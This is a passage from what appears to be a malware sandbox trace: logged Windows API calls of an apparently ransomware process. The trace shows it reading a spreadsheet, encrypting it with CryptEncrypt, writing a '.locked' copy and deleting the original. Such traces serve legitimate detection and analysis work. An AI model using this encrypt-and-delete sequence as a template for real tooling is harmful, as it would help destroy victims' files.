(hFile=0x874) returned 0x1 [0130.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.857] GetFileType (hFile=0x874) returned 0x1 [0130.857] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.858] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0130.858] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.858] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.858] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.859] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", lpFilePart=0x0) returned 0x4b [0130.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.859] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0130.860] GetFileType (hFile=0x868) returned 0x1 [0130.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.860] GetFileType (hFile=0x868) returned 0x1 [0130.860] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.860] CryptGenRandom (in: hProv=0x4396b48, dwLen=0x10, pbBuffer=0x6af26c8 | out: pbBuffer=0x6af26c8) returned 1 [0130.861] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.861] CryptDuplicateKey (in: hKey=0x8e84f38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84af8) returned 1 [0130.861] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.861] CryptSetKeyParam (hKey=0x8e84af8, dwParam=0x4, pbData=0x6af3984*=0x1, dwFlags=0x0) returned 1 [0130.861] CryptSetKeyParam (hKey=0x8e84af8, dwParam=0x1, pbData=0x6af3950, dwFlags=0x0) returned 1 [0130.862] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\x1050\x438\x24a") returned 0x0 [0130.862] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.862] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.862] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.925] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.925] ReadFile (in: hFile=0x874, lpBuffer=0x6902534, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6902534*, lpNumberOfBytesRead=0x99ae6cc*=0xbe30, lpOverlapped=0x0) returned 1 [0130.927] CryptEncrypt (in: hKey=0x8e84af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6916540*, pdwDataLen=0x99ae6c0*=0xbe30, dwBufLen=0xbe30 | out: pbData=0x6916540*, pdwDataLen=0x99ae6c0*=0xbe30) returned 1 [0130.927] WriteFile (in: hFile=0x868, lpBuffer=0x68ffe20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x68ffe20*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0130.931] WriteFile (in: hFile=0x868, lpBuffer=0x691752c*, nNumberOfBytesToWrite=0xae44, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x691752c*, lpNumberOfBytesWritten=0x99ae6a4*=0xae44, lpOverlapped=0x0) returned 1 [0130.931] ReadFile (in: hFile=0x874, lpBuffer=0x6902534, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6902534*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0130.932] CryptEncrypt (in: hKey=0x8e84af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6922394*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6922394*, pdwDataLen=0x99ae714*=0x10) returned 1 [0130.932] CryptEncrypt (in: hKey=0x8e84af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69223c8*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x69223c8*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0130.932] WriteFile (in: hFile=0x868, lpBuffer=0x68ffe20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x68ffe20*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0130.932] CloseHandle (hObject=0x868) returned 1 [0130.934] CloseHandle (hObject=0x874) returned 1 [0130.935] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.935] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.935] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.935] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.935] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.937] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 0x20 [0130.938] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.938] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.938] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.938] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.938] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.938] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.938] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.938] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.938] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.939] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.939] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.939] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.939] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0130.939] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0130.939] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0130.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0130.940] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0130.940] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0130.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0130.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0130.940] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 0x20 [0130.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.940] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0130.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls\\", lpFilePart=0x0) returned 0x45 [0130.941] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0130.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0130.941] CoTaskMemAlloc (cb=0x404) returned 0x8e39390 [0130.941] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8e39390, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0130.941] CoTaskMemFree (pv=0x8e39390) [0130.943] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 0x20 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.943] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0130.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls"), fInfoLevelId=0x0, lpFileInformation=0x693a238 | out: lpFileInformation=0x693a238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff10e030, ftCreationTime.dwHighDateTime=0x1d49ef1, ftLastAccessTime.dwLowDateTime=0xf2c418f0, ftLastAccessTime.dwHighDateTime=0x1d49fe2, ftLastWriteTime.dwLowDateTime=0xf2c418f0, ftLastWriteTime.dwHighDateTime=0x1d49fe2, nFileSizeHigh=0x0, nFileSizeLow=0xbe30)) returned 1 [0130.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0130.943] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 1 [0130.945] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.945] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x9300\x42e") returned 0x0 [0130.946] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.946] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.946] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.947] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls.locked")) returned 0x20 [0130.948] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls.locked")) returned 0x20 [0130.948] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", lpFilePart=0x0) returned 0x4b [0130.948] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", lpFilePart=0x0) returned 0x4b [0130.948] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.949] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.949] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.949] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.949] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x19, [2]=0x30, 